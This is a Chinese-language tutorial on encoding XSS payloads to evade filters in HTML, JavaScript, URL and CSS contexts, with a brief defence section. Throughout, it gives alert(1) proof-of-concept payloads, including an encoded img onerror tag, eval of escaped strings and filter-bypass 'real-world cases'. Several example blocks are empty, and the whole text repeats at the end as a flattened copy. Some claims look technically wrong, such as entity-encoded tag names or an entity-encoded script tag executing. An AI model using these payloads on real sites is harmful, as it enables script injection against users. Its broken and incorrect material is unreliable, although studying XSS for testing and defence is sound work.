XSS编码浅析
字数 1059 2025-08-09 13:33:44

XSS编码技术深度解析

一、XSS编码基础概念

XSS(跨站脚本攻击)编码是绕过各种过滤机制的关键技术,主要涉及以下几种编码方式:

  1. HTML实体编码:将字符转换为&实体;形式

    • 例如:<&lt;, >&gt;
  2. HTML十进制编码:使用&#十进制数;表示字符

    • 例如:<&#60;, >&#62;
  3. HTML十六进制编码:使用&#x十六进制数;表示字符

    • 例如:<&#x3c;, >&#x3e;
  4. URL编码:使用%十六进制数表示字符

    • 例如:<%3c, >%3e
  5. Unicode编码:使用\u十六进制数表示字符

    • 例如:<\u003c, >\u003e
  6. JS编码:使用\x十六进制数表示字符

    • 例如:<\x3c, >\x3e

二、HTML上下文中的XSS编码

1. 标签属性值中的XSS

<!-- 基本形式 -->


<!-- 编码绕过 -->


关键点

  • 事件属性值中的代码可以混合使用各种编码
  • 浏览器会先解码HTML实体再执行JavaScript

2. 标签名和属性名编码

<!-- 编码标签名 -->
<&#x69;&#x6d;&#x67; src=x onerror=alert(1)>

<!-- 编码属性名 -->

三、JavaScript上下文中的XSS编码

1. 字符串上下文

<script>
var x = '&#x27;alert(1)&#x27;';
</script>

解码顺序

  1. HTML解析器解码&#x27;为单引号
  2. JavaScript引擎执行代码

2. 动态脚本构造

<script>
var code = 'alert\x281\x29';
eval(code);
</script>

3. 混合编码示例

<script>
var x = '\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029';
eval(x);
</script>

四、URL上下文中的XSS编码

javascript:%61%6c%65%72%74%28%31%29

关键点

  • URL解码发生在HTML解码之后
  • 可以结合HTML实体编码使用

五、CSS上下文中的XSS编码

<style>
body { background: url("javascript:alert(1)"); }
</style>

<!-- 编码形式 -->
<style>
body { background: \6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\31\29; }
</style>

六、高级编码技巧

1. 多重编码

<!-- 双重HTML编码 -->

<!-- 解码为 &#97;&#108;... 然后解码为 alert... -->

2. 编码部分关键字

<script>
window['al'+'ert'](1);
</script>

3. 非常规编码

<!-- 使用注释分割 -->


<!-- 使用换行符 -->

七、浏览器解析顺序

理解XSS编码的关键在于掌握浏览器解析顺序:

  1. HTML解码(实体、十进制、十六进制)
  2. URL解码
  3. JavaScript/CSS解码
  4. 执行代码

八、防御措施

  1. 输出编码

    • HTML上下文使用HTML实体编码
    • JavaScript上下文使用\x\u编码
    • URL上下文使用URL编码
  2. 内容安全策略(CSP)

    • 限制脚本执行来源
    • 禁止内联脚本
  3. 输入验证

    • 白名单过滤
    • 规范化输入

九、实战案例

案例1:过滤尖括号的绕过

// 原始payload
<script>alert(1)</script>

// 编码payload
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;

案例2:事件属性过滤绕过

<!-- 原始 -->


<!-- 编码属性名和值 -->

十、总结

XSS编码技术的核心在于理解:

  1. 不同上下文的解析规则
  2. 浏览器的解码顺序
  3. 编码方式的组合使用
  4. 特定场景下的特殊编码需求

掌握这些编码技术可以帮助安全研究人员更好地测试XSS漏洞,同时也帮助开发人员理解如何更有效地防御XSS攻击。

XSS编码技术深度解析 一、XSS编码基础概念 XSS(跨站脚本攻击)编码是绕过各种过滤机制的关键技术,主要涉及以下几种编码方式: HTML实体编码 :将字符转换为 &实体; 形式 例如: < → &lt; , > → &gt; HTML十进制编码 :使用 &#十进制数; 表示字符 例如: < → &#60; , > → &#62; HTML十六进制编码 :使用 &#x十六进制数; 表示字符 例如: < → &#x3c; , > → &#x3e; URL编码 :使用 %十六进制数 表示字符 例如: < → %3c , > → %3e Unicode编码 :使用 \u十六进制数 表示字符 例如: < → \u003c , > → \u003e JS编码 :使用 \x十六进制数 表示字符 例如: < → \x3c , > → \x3e 二、HTML上下文中的XSS编码 1. 标签属性值中的XSS 关键点 : 事件属性值中的代码可以混合使用各种编码 浏览器会先解码HTML实体再执行JavaScript 2. 标签名和属性名编码 三、JavaScript上下文中的XSS编码 1. 字符串上下文 解码顺序 : HTML解析器解码 &#x27; 为单引号 JavaScript引擎执行代码 2. 动态脚本构造 3. 混合编码示例 四、URL上下文中的XSS编码 关键点 : URL解码发生在HTML解码之后 可以结合HTML实体编码使用 五、CSS上下文中的XSS编码 六、高级编码技巧 1. 多重编码 2. 编码部分关键字 3. 非常规编码 七、浏览器解析顺序 理解XSS编码的关键在于掌握浏览器解析顺序: HTML解码(实体、十进制、十六进制) URL解码 JavaScript/CSS解码 执行代码 八、防御措施 输出编码 : HTML上下文使用HTML实体编码 JavaScript上下文使用 \x 或 \u 编码 URL上下文使用URL编码 内容安全策略(CSP) : 限制脚本执行来源 禁止内联脚本 输入验证 : 白名单过滤 规范化输入 九、实战案例 案例1:过滤尖括号的绕过 案例2:事件属性过滤绕过 十、总结 XSS编码技术的核心在于理解: 不同上下文的解析规则 浏览器的解码顺序 编码方式的组合使用 特定场景下的特殊编码需求 掌握这些编码技术可以帮助安全研究人员更好地测试XSS漏洞,同时也帮助开发人员理解如何更有效地防御XSS攻击。